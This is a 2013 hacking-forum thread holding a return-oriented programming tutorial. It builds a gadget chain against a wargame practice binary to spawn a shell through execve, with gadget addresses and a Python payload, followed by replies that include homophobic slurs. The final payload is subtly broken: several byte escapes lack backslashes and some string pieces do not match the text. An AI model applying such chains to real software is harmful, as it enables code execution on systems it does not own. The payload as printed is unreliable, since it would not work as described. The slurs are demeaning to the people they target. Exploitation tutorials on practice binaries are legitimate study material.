

# Forum:[Hack Forums](#)

Thread: [Dynasty | Return Oriented Programming \[ROP\]](#)

-?Divine- - October 17, 2013, 8:18 pm

[img]http://img24.imageshack.us/img24/1800/5o9x.png[/img]

This tutorial assumes that you are not a beginner in all of this. If you are, refer to these previous threads and study them before proceeding.

[Antagonism | Heap Overflow](#)

[Antagonism | Format String Exploitation](#)

[Antagonism | Buffer Overflow - ASLR bruteforce](#)

[Antagonism | Ret2Libc \(NX protection enabled\)](#)

[\[TuT\] Antagonism | Buffer Overflow \(SEH based\) \[TuT\]](#)

[\[TuT\] Antagonism | Buffer Overflow \[TuT\]](#)

[Antagonism | Ret2Libc \(NX protection enabled\)](#)

This tutorial will require basic ASM knowledge. I will do my best to explain this and I am hoping that from this thread alone will you be able to do ROP. Now then, let's begin.

ROP, as you might have guessed from the title, stands for return oriented programming. Today we will battle both NX (Non executable stack) and ASLR (Address Space Layout Randomization). Ret2libc is the basis of ROP but ROP is far more advanced. So before you fully understand the returning to the libc functions don't advance with ROP as you will have problems understanding it.

That said, I'd also like you encourage many of you who stopped advancing with your low level exploitation skills and decided to not learn ROP. It is hard, but not as hard as many people will tell you. If you put your mind on it you will be able to master it like anything else.

Instead of returning to the libc functions, with ROP, we make use of instructions that are inside the very binary, or in the libraries linked to the application. These instruction sequences are called gadgets and there is one thing that all of them have in common. They all end in ret, hence the name. Unlike plain ret2libc (I said plain, ret2libc attacks can be chain too) we can chain these instruction sequences and perform complicated tasks with them. So basically, we are ripping a binary apart and using its code to create a program of our own. If you want to imagine it poetically, think of it as sacrificing a rabbit to Satan and then using its blood to write '666' on the ground. Wonderful, is it not?

We will be using a tool called [ROPgadget](#). Go ahead and install it.

PHP Code

```
<?php
```

```
git clone git://github.com/JonathanSalwan/ROPgadget.git
```

```
cd ./ROPgadget
```

```
make
```

```
sudo make install
```

ROPgadget is a very powerful tool that will help us search and find gadgets. It also has an option to automatically generate a execve() payload but I won't be going into that as it's self explanatory. The payload it generates is similar to one you'll be learning to piece together manually.

If you go into the binary-test directory, you will find a couple of files provided by ROPgadget for debugging purposes. Today we will be attempting to exploit ndh\_rop from the famous Wargame.

Let's begin with basic exploitation. We want to find the offset. I'll keep this as short as possible as it has already been covered in the previous tutorials.

The offset is 12.

We want to execute /bin/sh and for that we will be using function execve(). It takes three arguments. First one is filename, and it needs to contain full path to the file that we're running. As we don't want any arguments or any additional environment options we will set both of these to null. Now, let's take a look at the plan:

EAX - It needs to have a system call number. For execve() that would be eleven. You can find full list of functions and their numbers [here](#).

EBX - It needs to point to /bin/sh in memory. Keep in mind that /bin/sh has to be terminated with /x00, but we can't use null bytes in our payload or we will run into problems.

EDX & ECX - They need to be pointing to NULL, so that is where we will point them at. However, all of this comes later. Right now, our main priority is writing /bin/sh.

We want to write /bin/sh somewhere into memory and load that address into EBX. That's why we will be writing into the .data section of the binary. Let's get data\_start address.

PHP Code

```
<?php
nm ndh_rop | grep data
```

The address is 0x080cd9a0. Now, we wanted to write /bin/sh to that location. However, as you may see, /bin/sh only takes up seven bytes. We need to find a way to give it one more or it won't work properly.

We can do this by using /bin//sh instead of just /bin/sh. Test it, /bin//sh is accepted as a valid command. We can add as many '/' as we want, it'll still work.

So, we will be writing "/bin" to 0x080cd9a0. (data)

Then the next part of it, "//sh" to 0x080cd9a4. (data+4)

And finally "\x00" to 0x080cd9a8. (data+8)

It's an operation of three stages. Let's begin with the first one. Use ROPgadget to generate the gadgets. We will be looking through them in order to find anything useful.

PHP Code

```
<?php
./ROPgadget ndh_rop
```

First, we will load the address of data where we will be storing the /bin//sh string into ECX. So the

address of /bin//sh goes into ECX. Then we will pop the string into EAX and then using mov, write the content of EAX to location where ECX is pointing to. Let's do that.

In ASM, the storing of /bin and the address would look like this.

PHP Code

```
<?php
pop ecx ; ret
Addr_of_data
pop eax ; ret
"/bin"
```

The pop ecx; ret allows us to pop values from the stack into ECX. The address of .data sections gets stored in ECX first. As for EAX, it gets assigned with the value "/bin". With these two loaded in these registers, we want to write the value of EAX into address ECX is pointing to. We do this with a simple mov.

PHP Code

```
<?php
mov [ecx], eax ; ret
```

Alright. Now that we've done the basic blueprints, let's take a look at list of gadgets that were generated. Search for instructions that we just used.

PHP Code

```
<?php
0x080c5dd2 - The address of pop ecx; ret - We place address of .data section into ECX.
0x080cd9a0 - The address of .data section that we're popping into ECX.
0x080a4be6 - The address of pop eax; ret instruction. It pops "/bin" into EAX.
"/bin" - Value that gets stored in eax.
0x0804b2da - The mov instruction that writes the value to the address.
```

We've successfully written the first part of the string. However, two more remain. Now we need to write the remaining //sh into .data address+4 (Because we already stored four bytes).

PHP Code

```
<?php
0x080c5dd2 - pop ecx; ret. - Again, we want to load the destination+4 into ecx.
0x080cd9a4 - Destination in .data that gets loaded into ecx.
0x080a4be6 - pop eax; ret - Loading //sh into eax.
"/sh" - What gets loaded into eax.
0x0804b2da - mov [ecx], eax ; ret - Mov that writes the value of eax into ecx.
```

The third part of the string that needs to be loaded is the null byte that will terminate the line. For this we will use xor to zero out EAX and then mov that to destination+8.

PHP Code

```
<?php
0x080c5dd2 - pop ecx; ret
0x080cd9a8 - destination+8
0x0804aae0 - xor eax,eax ; ret
0x0804b2da - Mov.
```

Now finally, /bin//sh has been successfully written. Now the blueprint that we made earlier comes in mind. We point EBX at the beginning. ECX and EDX will be pointed at the end of our string because we stored a null byte there, at 0x080cd9a8. They have to be pointing to null.

PHP Code

```
<?php
```

0x08048144 - pop ebx; ret - Loads the beginning of our /bin//sh into EBX.

0x080cd9a0 - The beginning of /bin//sh that is stored.

0x080c5dd2 - pop ecx; ret

0x080cd9a8 - End of /bin//sh; data+8

0x08052bba - pop edx; ret

0x080cd9a8 - End of /bin//sh; .data+8

EBX, ECX and EDX are all set. The only thing left is the EAX. We will be increasing the value of EAX manually through inc which makes it go up for one. We'll use it eleven times to set EAX to 11, which is system call for execve().

PHP Code

```
<?php
```

0x08048ca6 - inc eax; ret - We do it 11 times. I won't paste it that many times to save space.

So, allow me to summarize. We wrote the first part of /bin//sh into EAX and the address in .data section into ECX. We used mov to move EAX's value into the address ECX was pointing at. We repeated this again, but this time wrote to data+4 and used "//sh" as value instead. Then at last we used zeroed out EAX with xor and moved that to data+8, adding a null byte without messing things up.

Then we began by setting the EBX. We pointed it at the beginning of /bin/sh. Then we pointed ECX and EDX at the end of and hit the null. Finally, we increased EAX until it reached eleven. The last part is invoking system call. Look for int 0x80 as that is its representation.

PHP Code

```
<?php
```

0x08048ca8 - int 0x80 - System call

Now let's put all of this together. Remember to use little endian order. Let's make a python file.

PHP Code

```
<?php
```

vim dong.py

```
a="A"*12+"\xd2\x5d\x0c\x08" + "\xa0\xd9\x0c\x08"+"xe6\x4b\x0a\x08"+"bin"+"xda\xb2\x04\x08"+
"\xd2\x5d\x0c\x08" +
"\xa4\xd9\x0c\x08"+"xe6\x4b\x0a\x08"+"//sh"+"xda\xb2\x04\x08"+"xd2\x5d\x0c\x08" +
"\xa8\xd9\x0c\x08"+"xe0\xaa\x04\x08"+
"\xda\xb2\x04\x08"+"x44\x81\x04\x08"+"xa0\xd9\x0c\x08"+"xd2\x5d\x0c\x08"+"xa8\xd9\x0c\x08"+
"\xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+
"\xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+
"\xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+"xa6\x8c\x04\x08"+"xa8\x8c\x04\x08"
print a
```

And run it.

**michael1026** - October 17, 2013, 11:50 pm

Very nice guide. I personally don't understand it, but hopefully I'll be able to soon.

**-Elusive-** - October 17, 2013, 11:56 pm

Great tutorial Divine, I'll setup and start doing this stuff when I can :D

**Mista Jack** - October 18, 2013, 12:32 am

Man, this Divine kid needs a reward or something because this dude is HQ as fuck. Thanks for the tutorial dude.

**barfoo** - October 18, 2013, 1:34 am

Isn't the website and forum hacking section supposed to be focused more on.. website and forum hacking? Not [low level stuff](#).

**Artisanal** - October 18, 2013, 1:37 am

I like the fact, that Dynasty has alot of Linux tutorials.

**-?Divine-** - October 18, 2013, 2:37 am

(Oct 18, 2013 01:37 AM)Zombay Wrote: [\[CITE\]](#) I like the fact, that Dynasty has alot of Linux tutorials. Those are all Antagonism tutorials. This is the first one for Dynasty.

**Im gone brah** - October 18, 2013, 3:11 am

Le troll, it was a time ago sience you posted your last tutorial.

**cheatson** - October 18, 2013, 4:23 am

Very HQ, as expected from Divine. When I get into this stuff this is going to be very handy.

**Keeper** - October 18, 2013, 5:03 am

My eyes hurt, so much shellcode... and by the way you forgot something - the images and me.

**HUUF** - October 18, 2013, 7:17 am

All looks cool / Dope but i dont get a fxck of it xD ?

Explain me please <3

Really would like to ttry it out man! you made something awesome!!

**Im gone brah** - October 18, 2013, 8:10 am

(Oct 18, 2013 07:17 AM)HUUF Wrote: [\[CITE\]](#) All looks cool / Dope but i dont get a fxck of it xD ?

Explain me please <3

Really would like to ttry it out man! you made something awesome!!

This tutorial assumes that you are not a beginner in all of this. If you are, refer to these previous threads and study them before proceeding.

**Dyme??????????????** - October 18, 2013, 8:32 am

I would really appreciate if you explained how to integrate gadgets from libc in case the vulnerable bin doesn't contain a sufficient amount.

Come on Divine... do you have no shame?

ida - October 18, 2013, 9:28 am

Great tutorial, Divine. I could not expect anything less from you.

-?Divine- - October 18, 2013, 1:54 pm

(Oct 18, 2013 08:32 AM)Drake Bell Wrote: [\[CITE\]](#) I would really appreciate if you explained how to integrate gadgets from libc in case the vulnerable bin doesn't contain a sufficient amount.

Come on Divine... do you have no shame?

I'll add it you hetero, no tears pls.

(Oct 18, 2013 05:03 AM)Keeper Wrote: [\[CITE\]](#) My eyes hurt, so much shellcode... and by the way you forgot something - the images and me.

Screenshots in the thread have been designed to look more appealing. Thanks Keeper.

SIM-1808688 - October 18, 2013, 2:18 pm

Nice work.

A very HQ tutorial from a HQ user.

Keeper - October 18, 2013, 2:21 pm

(Oct 18, 2013 02:18 PM)nick??? Wrote: [\[CITE\]](#) Very HQ tutorial from a even more HQ user.

So in short the tutorial is LQ compared to Divine.

-?Divine- - October 18, 2013, 2:22 pm

(Oct 18, 2013 02:21 PM)Keeper Wrote: [\[CITE\]](#) So in short the tutorial is LQ compared to Divine.

Yes. Are you trying to offend my tutorial Nick?

Keeper - October 19, 2013, 3:19 am

Do that green bullet at the top of the thread for the list. You'll see how better it looks with it.

-?Divine- - October 19, 2013, 9:05 am

(Oct 19, 2013 03:19 AM)Keeper Wrote: [\[CITE\]](#) Do that green bullet at the top of the thread for the list. You'll see how better it looks with it.

I'll pass. Green looks so hetero in my opinion.

The\_Defiant\_One - October 19, 2013, 1:13 pm

Finally, someone has decided to cover exploit development using the rop method. Good direction for this forum. Thanks for the tutorial.

-?Divine- - October 19, 2013, 3:18 pm

(Oct 19, 2013 01:13 PM)The\_Defiant\_One Wrote: [\[CITE\]](#) Finally, someone has decided to cover exploit development using the rop method. Good direction for this forum. Thanks for the tutorial.

No problem. I'll be releasing more low level tuts soon.

seg fault - October 20, 2013, 2:05 am

oh shit mad hax pro divine using backtrack watch out he got dat metasploit

-?Divine- - October 20, 2013, 2:07 am

(Oct 20, 2013 02:05 AM)seg fault Wrote: [\[CITE\]](#) oh shit mad hax pro divine using backtrack watch out he got dat metasploit

And exactly what does that have to do with the tutorial? I have one PC which everyone in the house uses so it has to be Windows. Backtrack boots and runs fast. I don't see a problem. Now go and [learn a language](#) somewhere else.

**cheatson** - October 20, 2013, 5:47 am

(Oct 20, 2013 02:07 AM)-?Divine- Wrote: [\[CITE\]](#) And exactly what does that have to do with the tutorial? I have one PC which everyone in the house uses so it has to be Windows. Backtrack boots and runs fast. I don't see a problem. Now go and [learn a language](#) somewhere else.  
I use backtrack also, haters gonna hate!

-?Divine- - October 20, 2013, 10:42 pm

(Oct 20, 2013 05:47 AM)cheatson Wrote: [\[CITE\]](#) I use backtrack also, haters gonna hate!  
When people have no better arguments that is usually the one they use. But I guess we can't be compared to seg fault and his [mad programming skillz](#).

**seg fault** - October 20, 2013, 11:39 pm

(Oct 20, 2013 10:42 PM)-?Divine- Wrote: [\[CITE\]](#) When people have no better arguments that is usually the one they use. But I guess we can't be compared to seg fault and his [mad programming skillz](#).

well at least it is better then anything u can write u can't even code shit low level fag  
irc.dynastyhf.com  
6667  
#lobby  
join and have a blast

-?Divine- - October 21, 2013, 5:09 am

(Oct 20, 2013 11:39 PM)seg fault Wrote: [\[CITE\]](#) well at least it is better then anything u can write u can't even code shit low level fag

irc.dynastyhf.com  
6667  
#lobby  
join and have a blast

If you think of that script as some sort of acknowledgement I pity you. Saying "low level fag" after you said that I can't 'code shit' is contradictory to your [previous statement](#) which said that one is obligated to know programming languages in order to develop exploits. I'm disappointed in you Light, but I've already wasted enough time. Bye, skid.

**Duk3** - October 21, 2013, 9:49 pm

May I ask, does back track require a lot of knowledge to use it or is it user friendly like Ubuntu? Also I want to get into hacks and security where would I start and is it possible for someone to teach me or allow me to watch them at work

**Jay?** - October 21, 2013, 9:55 pm

(Oct 21, 2013 09:49 PM)Duk3 Wrote: [\[CITE\]](#) May I ask, does back track require a lot of knowledge to use it or is it user friendly like Ubuntu? Also I want to get into hacks and security where would I start and is it possible for someone to teach me or allow me to watch them at work

Backtrack is not the best place to start on GNU/Linux.

It is like any other distro, but has a lot of tools that you will have no clue how to use.

If you really want to learn the basics of a GNU/Linux system I would recommend something simple like basic Debian XFCE. Really straight forward and you can learn the basics behind it.

Backtrack is more for when you advance.

As for learning, you are already at a disadvantage by trying to learn too much from this site.

However, as I am doing, you should join the Dynasty IRC at irc.dynastyhf.com 6667 as the classes they will be publicly holding will begin soon (October 27th).

I am not sure what they will cover, but I am pretty sure it is a starting place for most people.

You can also browse through alot of their threads especially Divines as he covers a lot of topics.

Ask for help in the IRC and you should be set for starters.

**Duk3** - October 22, 2013, 2:47 pm

(Oct 21, 2013 09:55 PM)Cyb3rCOMpl3x Wrote: [\[CITE\]](#) Backtrack is not the best place to start on GNU/Linux.

It is like any other distro, but has a lot of tools that you will have no clue how to use.

If you really want to learn the basics of a GNU/Linux system I would recommend something simple like basic Debian XFCE. Really straight forward and you can learn the basics behind it.

Backtrack is more for when you advance.

As for learning, you are already at a disadvantage by trying to learn too much from this site.

However, as I am doing, you should join the Dynasty IRC at irc.dynastyhf.com 6667 as the classes they will be publicly holding will begin soon (October 27th).

I am not sure what they will cover, but I am pretty sure it is a starting place for most people.

You can also browse through alot of their threads especially Divines as he covers a lot of topics.

Ask for help in the IRC and you should be set for starters.Thank you so much kind sir. That was very helpful

**Jay?** - October 22, 2013, 3:10 pm

(Oct 22, 2013 02:47 PM)Duk3 Wrote: [\[CITE\]](#) Thank you so much kind sir. That was very helpful  
No problem feel free to PM me if you need any other info.

**-?Divine-** - October 26, 2013, 11:53 am

(Oct 21, 2013 09:49 PM)Duk3 Wrote: [\[CITE\]](#) May I ask, does back track require a lot of knowledge to use it or is it user friendly like Ubuntu? Also I want to get into hacks and security where would I start and is it possible for someone to teach me or allow me to watch them at work

[? Antagonism | Pentesting Classroom | Apply here! ?](#)

I made these long ago, but they're a good starting point. That's the closest you can get to watching someone without paying him to let you.

**lemonweapon** - October 26, 2013, 7:55 pm

m0n3y\$h07 k1ll 3m 4ll!!!

# whoami  
root

woah o\_O

**-?Divine-** - October 30, 2013, 7:59 am

(Oct 26, 2013 07:55 PM)lemonweapon Wrote: [\[CITE\]](#) m0n3y\$h07 k1ll 3m 4ll!!!

# whoami  
root

woah o\_O  
Woah indeed. Since when did you return to HF?

**Upim** - *October 31, 2013, 5:58 am*

Really good tutorial like always from you Divine, keep this level

**-?Divine-** - *November 6, 2013, 11:40 am*

(Oct 31, 2013 05:58 AM)Upim Wrote: [\[CITE\]](#) Really good tutorial like always from you Divine, keep this level

much skill so dedication many knowledge wow